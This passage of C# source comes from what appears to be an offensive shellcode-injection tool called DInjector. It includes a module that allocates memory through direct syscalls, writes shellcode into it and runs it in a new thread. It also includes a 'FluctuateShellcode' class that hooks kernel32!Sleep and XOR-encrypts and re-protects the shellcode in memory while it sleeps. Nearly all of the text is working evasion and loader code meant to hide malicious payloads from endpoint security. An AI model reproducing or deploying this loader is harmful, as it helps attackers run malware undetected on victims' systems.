fnOUTLPCOMBOBOXINFO2; 339 | public IntPtr fnOUTLPSCROLLBARINFO; 340 | public IntPtr fnINLPUAHDRAWMENU2; 341 | public IntPtr fnINLPUAHDRAWMENUITEM; 342 | public IntPtr fnINLPUAHDRAWMENU3; 343 | public IntPtr fnINOUTLPUAHMEASUREMENUITEM; 344 | public IntPtr fnINLPUAHDRAWMENU4; 345 | public IntPtr fnOUTLPTITLEBARINFOEX; 346 | public IntPtr fnTOUCH; 347 | public IntPtr fnGESTURE; 348 | public IntPtr fnPOPTINLPUINT4; 349 | public IntPtr fnPOPTINLPUINT5; 350 | public IntPtr xxxClientCallDefaultInputHandler; 351 | public IntPtr fnEMPTY; 352 | public IntPtr ClientRimDevCallback; 353 | public IntPtr xxxClientCallMinTouchHitTestingCallback; 354 | public IntPtr ClientCallLocalMouseHooks; 355 | public IntPtr xxxClientBroadcastThemeChange; 356 | public IntPtr xxxClientCallDevCallbackSimple; 357 | public IntPtr xxxClientAllocWindowClassExtraBytes; 358 | public IntPtr xxxClientFreeWindowClassExtraBytes; 359 | public IntPtr fnGETWINDOWDATA; 360 | public IntPtr fnINOUTSTYLECHANGE2; 361 | public IntPtr fnHkINLPMOUSEHOOKSTRUCTEX2; 362 | } 363 | 364 | public const uint WM_COPYDATA = 0x4A; 365 | 366 | public struct COPYDATASTRUCT 367 | { 368 | public IntPtr dwData; 369 | public int cbData; 370 | [MarshalAs(UnmanagedType.LPStr)] 371 | public string lpData; 372 | } 373 | } 374 | } 375 | -------------------------------------------------------------------------------- /DInjector/Modules/CurrentThread.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | using static DInvoke.Data.Native; 7 | 8 | namespace DInjector 9 | { 10 | class CurrentThread 11 | { 12 | public static void Execute(byte[] shellcode, uint protect, uint timeout, int flipSleep, uint fluctuate, bool debug = false) 13 | { 14 | uint allocProtect = 0, newProtect = 0; 15 | string strAllocProtect = "", strNewProtect = ""; 16 | if (protect == DI.Data.Win32.WinNT.PAGE_EXECUTE_READ) 17 | { 18 | allocProtect = DI.Data.Win32.WinNT.PAGE_READWRITE; 19 | strAllocProtect = "PAGE_READWRITE"; 20 | newProtect = DI.Data.Win32.WinNT.PAGE_EXECUTE_READ; 21 | strNewProtect = "PAGE_EXECUTE_READ"; 22 | } 23 | else if (protect == DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE) 24 | { 25 | allocProtect = DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 26 | strAllocProtect = "PAGE_EXECUTE_READWRITE"; 27 | } 28 | 29 | bool suspended = false; 30 | if (flipSleep > 0) 31 | { 32 | allocProtect = DI.Data.Win32.WinNT.PAGE_READWRITE; 33 | strAllocProtect = "PAGE_READWRITE"; 34 | newProtect = DI.Data.Win32.WinNT.PAGE_NOACCESS; 35 | strNewProtect = "PAGE_NOACCESS"; 36 | suspended = true; 37 | } 38 | 39 | #region NtAllocateVirtualMemory (allocProtect) 40 | 41 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 42 | IntPtr baseAddress = IntPtr.Zero; 43 | IntPtr regionSize = (IntPtr)shellcode.Length; 44 | 45 | var ntstatus = Syscalls.NtAllocateVirtualMemory( 46 | hProcess, 47 | ref baseAddress, 48 | IntPtr.Zero, 49 | ref regionSize, 50 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 51 | allocProtect); 52 | 53 | if (ntstatus == NTSTATUS.Success) 54 | Console.WriteLine($"(CurrentThread) [+] NtAllocateVirtualMemory, {strAllocProtect}"); 55 | else 56 | throw new Exception($"(CurrentThread) [-] NtAllocateVirtualMemory, {strAllocProtect}: {ntstatus}"); 57 | 58 | Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length); 59 | 60 | #endregion 61 | 62 | IntPtr protectAddress; 63 | uint oldProtect = 0; 64 | if (newProtect > 0) 65 | { 66 | #region NtProtectVirtualMemory (newProtect) 67 | 68 | protectAddress = baseAddress; 69 | regionSize = (IntPtr)shellcode.Length; 70 | 71 | ntstatus = Syscalls.NtProtectVirtualMemory( 72 | hProcess, 73 | ref protectAddress, 74 | ref regionSize, 75 | newProtect, 76 | ref oldProtect); 77 | 78 | if (ntstatus == NTSTATUS.Success) 79 | Console.WriteLine($"(CurrentThread) [+] NtProtectVirtualMemory, {strNewProtect}"); 80 | else 81 | throw new Exception($"(CurrentThread) [-] NtProtectVirtualMemory, {strNewProtect}: {ntstatus}"); 82 | 83 | #endregion 84 | } 85 | 86 | var fs = new FluctuateShellcode(fluctuate, baseAddress, shellcode.Length, debug); 87 | if (fluctuate != 0) 88 | { 89 | var strFluctuate = "PAGE_READWRITE"; 90 | if (fluctuate == DI.Data.Win32.WinNT.PAGE_NOACCESS) 91 | strFluctuate = "PAGE_NOACCESS"; 92 | 93 | if (fs.EnableHook()) 94 | Console.WriteLine($"(CurrentThread) [+] Installed hook for kernel32!Sleep to fluctuate with {strFluctuate}"); 95 | } 96 | 97 | #region NtCreateThreadEx 98 | 99 | IntPtr hThread = IntPtr.Zero; 100 | 101 | ntstatus = Syscalls.NtCreateThreadEx( 102 | ref hThread, 103 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 104 | IntPtr.Zero, 105 | hProcess, 106 | baseAddress, 107 | IntPtr.Zero, 108 | suspended, 109 | 0, 110 | 0, 111 | 0, 112 | IntPtr.Zero); 113 | 114 | if (ntstatus == NTSTATUS.Success) 115 | Console.WriteLine("(CurrentThread) [+] NtCreateThreadEx"); 116 | else 117 | throw new Exception($"(CurrentThread) [-] NtCreateThreadEx: {ntstatus}"); 118 | 119 | #endregion 120 | 121 | if (flipSleep > 0) 122 | { 123 | Console.WriteLine($"(CurrentThread) [=] Sleeping for {flipSleep} ms ..."); 124 | 125 | System.Threading.Thread.Sleep(flipSleep); 126 | 127 | #region NtProtectVirtualMemory (protect) 128 | 129 | protectAddress = baseAddress; 130 | regionSize = (IntPtr)shellcode.Length; 131 | oldProtect = 0; 132 | 133 | ntstatus = Syscalls.NtProtectVirtualMemory( 134 | hProcess, 135 | ref protectAddress, 136 | ref regionSize, 137 | protect, 138 | ref oldProtect); 139 | 140 | if (ntstatus == NTSTATUS.Success) 141 | Console.WriteLine("(CurrentThread) [+] NtProtectVirtualMemory, protect"); 142 | else 143 | throw new Exception($"(CurrentThread) [-] NtProtectVirtualMemory, protect: {ntstatus}"); 144 | 145 | #endregion 146 | 147 | #region NtResumeThread 148 | 149 | uint suspendCount = 0; 150 | 151 | ntstatus = Syscalls.NtResumeThread( 152 | hThread, 153 | ref suspendCount); 154 | 155 | if (ntstatus == NTSTATUS.Success) 156 | Console.WriteLine("(CurrentThread) [+] NtResumeThread"); 157 | else 158 | throw new Exception($"(CurrentThread) [-] NtResumeThread: {ntstatus}"); 159 | 160 | #endregion 161 | } 162 | 163 | if (timeout > 0) // if the shellcode does not need to serve forever, we can do the clean up 164 | { 165 | _ = Win32.WaitForSingleObject(hThread, timeout); 166 | 167 | if (oldProtect > 0) 168 | { 169 | #region CleanUp: NtProtectVirtualMemory (PAGE_READWRITE) 170 | 171 | protectAddress = baseAddress; 172 | regionSize = (IntPtr)shellcode.Length; 173 | uint tmpProtect = 0; 174 | 175 | ntstatus = Syscalls.NtProtectVirtualMemory( 176 | hProcess, 177 | ref protectAddress, 178 | ref regionSize, 179 | DI.Data.Win32.WinNT.PAGE_READWRITE, 180 | ref tmpProtect); 181 | 182 | if (ntstatus == NTSTATUS.Success) 183 | Console.WriteLine("(CurrentThread.CleanUp) [+] NtProtectVirtualMemory, PAGE_READWRITE"); 184 | else 185 | throw new Exception($"(CurrentThread.CleanUp) [-] NtProtectVirtualMemory, PAGE_READWRITE: {ntstatus}"); 186 | 187 | #endregion 188 | } 189 | 190 | // Zero out shellcode bytes 191 | Marshal.Copy(new byte[shellcode.Length], 0, baseAddress, shellcode.Length); 192 | 193 | #region CleanUp: NtFreeVirtualMemory (shellcode) 194 | 195 | regionSize = (IntPtr)shellcode.Length; 196 | 197 | ntstatus = Syscalls.NtFreeVirtualMemory( 198 | hProcess, 199 | ref baseAddress, 200 | ref regionSize, 201 | DI.Data.Win32.Kernel32.MEM_RELEASE); 202 | 203 | if (ntstatus == NTSTATUS.Success) 204 | Console.WriteLine("(CurrentThread.CleanUp) [+] NtFreeVirtualMemory, shellcode"); 205 | else 206 | throw new Exception($"(CurrentThread.CleanUp) [-] NtFreeVirtualMemory, shellcode: {ntstatus}"); 207 | 208 | #endregion 209 | } 210 | 211 | #region NtWaitForSingleObject 212 | 213 | ntstatus = Syscalls.NtWaitForSingleObject( 214 | hThread, 215 | false, 216 | 0); 217 | 218 | if (ntstatus == NTSTATUS.Success) 219 | Console.WriteLine("(CurrentThread) [+] NtWaitForSingleObject"); 220 | else 221 | throw new Exception($"(CurrentThread) [-] NtWaitForSingleObject: {ntstatus}"); 222 | 223 | #endregion 224 | 225 | if (fluctuate != 0) 226 | if (fs.DisableHook()) 227 | Console.WriteLine($"(CurrentThread) [+] Uninstalled hook for kernel32!Sleep"); 228 | 229 | Syscalls.NtClose(hThread); 230 | } 231 | } 232 | 233 | /// 234 | /// Inspired by: https://twitter.com/_RastaMouse/status/1443923456630968320 235 | /// Adopted from: https://github.com/mgeeky/ShellcodeFluctuation 236 | /// 237 | class FluctuateShellcode 238 | { 239 | delegate void Sleep(uint dwMilliseconds); 240 | readonly Sleep sleepOrig; 241 | readonly GCHandle gchSleepDetour; 242 | 243 | readonly IntPtr sleepOriginAddress, sleepDetourAddress; 244 | readonly byte[] sleepOriginBytes = new byte[16], sleepDetourBytes; 245 | 246 | readonly byte[] trampoline = 247 | { 248 | 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr 249 | 0x41, 0xFF, 0xE2 // jmp r10 250 | }; 251 | 252 | readonly uint fluctuateWith; 253 | readonly IntPtr shellcodeAddress; 254 | readonly int shellcodeLength; 255 | readonly byte[] xorKey; 256 | readonly bool printDebug; 257 | 258 | public FluctuateShellcode(uint fluctuate, IntPtr shellcodeAddr, int shellcodeLen, bool debug) 259 | { 260 | sleepOriginAddress = DI.DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "Sleep"); 261 | sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer(sleepOriginAddress, typeof(Sleep)); 262 | 263 | Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16); 264 | 265 | var sleepDetour = new Sleep(SleepDetour); 266 | sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(sleepDetour); 267 | gchSleepDetour = GCHandle.Alloc(sleepDetour); // https://stackoverflow.com/a/8496328/6253579 268 | 269 | using (var ms = new MemoryStream()) 270 | using (var bw = new BinaryWriter(ms)) 271 | { 272 | bw.Write((ulong)sleepDetourAddress); 273 | sleepDetourBytes = ms.ToArray(); 274 | } 275 | 276 | for (var i = 0; i < sleepDetourBytes.Length; i++) 277 | trampoline[i + 2] = sleepDetourBytes[i]; 278 | 279 | fluctuateWith = fluctuate; 280 | shellcodeAddress = shellcodeAddr; 281 | shellcodeLength = shellcodeLen; 282 | xorKey = GenerateXorKey(); 283 | 284 | printDebug = debug; 285 | } 286 | 287 | ~FluctuateShellcode() 288 | { 289 | if (gchSleepDetour.IsAllocated) 290 | gchSleepDetour.Free(); 291 | 292 | DisableHook(); 293 | } 294 | 295 | void SleepDetour(uint dwMilliseconds) 296 | { 297 | DisableHook(); 298 | ProtectMemory(fluctuateWith, printDebug); 299 | XorMemory(); 300 | 301 | sleepOrig(dwMilliseconds); 302 | 303 | XorMemory(); 304 | ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ, printDebug); 305 | EnableHook(); 306 | } 307 | 308 | public bool EnableHook() 309 | { 310 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE) 311 | 312 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 313 | IntPtr protectAddress = sleepOriginAddress; 314 | IntPtr regionSize = (IntPtr)trampoline.Length; 315 | uint oldProtect = 0; 316 | 317 | var ntstatus = Syscalls.NtProtectVirtualMemory( 318 | hProcess, 319 | ref protectAddress, 320 | ref regionSize, 321 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 322 | ref oldProtect); 323 | 324 | bool hooked = false; 325 | if (ntstatus == NTSTATUS.Success) 326 | { 327 | Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.Length); 328 | hooked = true; 329 | } 330 | 331 | #endregion 332 | 333 | #region NtFlushInstructionCache (sleepOriginAddress, trampolineLength) 334 | 335 | hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 336 | IntPtr flushAddress = sleepOriginAddress; 337 | 338 | ntstatus = Syscalls.NtFlushInstructionCache( 339 | hProcess, 340 | ref flushAddress, 341 | (uint)trampoline.Length); 342 | 343 | bool flushed = false; 344 | if (ntstatus == NTSTATUS.Success) 345 | flushed = true; 346 | 347 | #endregion 348 | 349 | #region NtProtectVirtualMemory (oldProtect) 350 | 351 | protectAddress = sleepOriginAddress; 352 | regionSize = (IntPtr)trampoline.Length; 353 | uint tmpProtect = 0; 354 | 355 | ntstatus = Syscalls.NtProtectVirtualMemory( 356 | hProcess, 357 | ref protectAddress, 358 | ref regionSize, 359 | oldProtect, 360 | ref tmpProtect); 361 | 362 | return ntstatus == NTSTATUS.Success && hooked && flushed; 363 | 364 | #endregion 365 | } 366 | 367 | public bool DisableHook() 368 | { 369 | #region NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE) 370 | 371 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 372 | IntPtr protectAddress = sleepOriginAddress; 373 | IntPtr regionSize = (IntPtr)sleepOriginBytes.Length; 374 | uint oldProtect = 0; 375 | 376 | var ntstatus = Syscalls.NtProtectVirtualMemory( 377 | hProcess, 378 | ref protectAddress, 379 | ref regionSize, 380 | DI.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 381 | ref oldProtect); 382 | 383 | bool unhooked = false; 384 | if (ntstatus == NTSTATUS.Success) 385 | { 386 | Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress, sleepOriginBytes.Length); 387 | unhooked = true; 388 | } 389 | 390 | #endregion 391 | 392 | #region NtFlushInstructionCache (sleepOriginAddress, sleepOriginBytesLength) 393 | 394 | hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 395 | IntPtr flushAddress = sleepOriginAddress; 396 | 397 | ntstatus = Syscalls.NtFlushInstructionCache( 398 | hProcess, 399 | ref flushAddress, 400 | (uint)sleepOriginBytes.Length); 401 | 402 | bool flushed = false; 403 | if (ntstatus == NTSTATUS.Success) 404 | flushed = true; 405 | 406 | #endregion 407 | 408 | #region NtProtectVirtualMemory (oldProtect) 409 | 410 | protectAddress = sleepOriginAddress; 411 | regionSize = (IntPtr)sleepOriginBytes.Length; 412 | uint tmpProtect = 0; 413 | 414 | ntstatus = Syscalls.NtProtectVirtualMemory( 415 | hProcess, 416 | ref protectAddress, 417 | ref regionSize, 418 | oldProtect, 419 | ref tmpProtect); 420 | 421 | return ntstatus == NTSTATUS.Success && unhooked && flushed; 422 | 423 | #endregion 424 | } 425 | 426 | void ProtectMemory(uint newProtect, bool printDebug) 427 | { 428 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 429 | IntPtr protectAddress = shellcodeAddress; 430 | IntPtr regionSize = (IntPtr)shellcodeLength; 431 | uint oldProtect = 0; 432 | 433 | var ntstatus = Syscalls.NtProtectVirtualMemory( 434 | hProcess, 435 | ref protectAddress, 436 | ref regionSize, 437 | newProtect, 438 | ref oldProtect); 439 | 440 | if (ntstatus == NTSTATUS.Success) 441 | { 442 | if (printDebug) 443 | Console.WriteLine("(FluctuateShellcode) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + " to 0x" + newProtect.ToString("X2")); 444 | } 445 | else 446 | throw new Exception($"(FluctuateShellcode) [-] NtProtectVirtualMemory, newProtect: {ntstatus}"); 447 | } 448 | 449 | void XorMemory() 450 | { 451 | byte[] data = new byte[shellcodeLength]; 452 | Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength); 453 | 454 | for (var i = 0; i < data.Length; i++) 455 | data[i] ^= xorKey[i]; // one-time pad 456 | 457 | Marshal.Copy(data, 0, shellcodeAddress, data.Length); 458 | } 459 | 460 | byte[] GenerateXorKey() 461 | { 462 | Random rnd = new Random(); 463 | byte[] xorKey = new byte[shellcodeLength]; 464 | rnd.NextBytes(xorKey); 465 | return xorKey; 466 | } 467 | } 468 | 469 | /*class FluctuateShellcodeMiniHook 470 | { 471 | // using MinHook; // https://github.com/CCob/MinHook.NET 472 | 473 | delegate void Sleep(uint dwMilliseconds); 474 | readonly Sleep sleepOrig; 475 | readonly HookEngine hookEngine; 476 | 477 | readonly uint fluctuateWith; 478 | readonly IntPtr shellcodeAddress; 479 | readonly int shellcodeLength; 480 | readonly byte[] xorKey; 481 | 482 | public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr shellcodeAddr, int shellcodeLen) 483 | { 484 | hookEngine = new HookEngine(); 485 | sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep", new Sleep(SleepDetour)); 486 | 487 | fluctuateWith = fluctuate; 488 | shellcodeAddress = shellcodeAddr; 489 | shellcodeLength = shellcodeLen; 490 | xorKey = GenerateXorKey(); 491 | } 492 | 493 | ~FluctuateShellcodeMiniHook() 494 | { 495 | hookEngine.DisableHooks(); 496 | } 497 | 498 | public void EnableHook() 499 | { 500 | hookEngine.EnableHooks(); 501 | } 502 | 503 | public void DisableHook() 504 | { 505 | hookEngine.DisableHooks(); 506 | } 507 | 508 | void SleepDetour(uint dwMilliseconds) 509 | { 510 | ProtectMemory(fluctuateWith); 511 | XorMemory(); 512 | 513 | sleepOrig(dwMilliseconds); 514 | 515 | XorMemory(); 516 | ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ); 517 | } 518 | 519 | void ProtectMemory(uint newProtect) 520 | { 521 | IntPtr hProcess = IntPtr.Zero; // Process.GetCurrentProcess().Handle 522 | IntPtr protectAddress = shellcodeAddress; 523 | IntPtr regionSize = (IntPtr)shellcodeLength; 524 | uint oldProtect = 0; 525 | 526 | var ntstatus = Syscalls.NtProtectVirtualMemory( 527 | hProcess, 528 | ref protectAddress, 529 | ref regionSize, 530 | newProtect, 531 | ref oldProtect); 532 | 533 | if (ntstatus == NTSTATUS.Success) //{ } 534 | Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + " to 0x" + newProtect.ToString("X2")); 535 | else 536 | throw new Exception($"(FluctuateShellcodeMiniHook) [-] NtProtectVirtualMemory, protect: {ntstatus}"); 537 | } 538 | 539 | void XorMemory() 540 | { 541 | byte[] data = new byte[shellcodeLength]; 542 | Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength); 543 | for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i]; 544 | Marshal.Copy(data, 0, shellcodeAddress, data.Length); 545 | } 546 | 547 | byte[] GenerateXorKey() 548 | { 549 | Random rnd = new Random(); 550 | byte[] xorKey = new byte[shellcodeLength]; 551 | rnd.NextBytes(xorKey); 552 | return xorKey; 553 | } 554 | }*/ 555 | } 556 | --------------------------------------------------------------------------------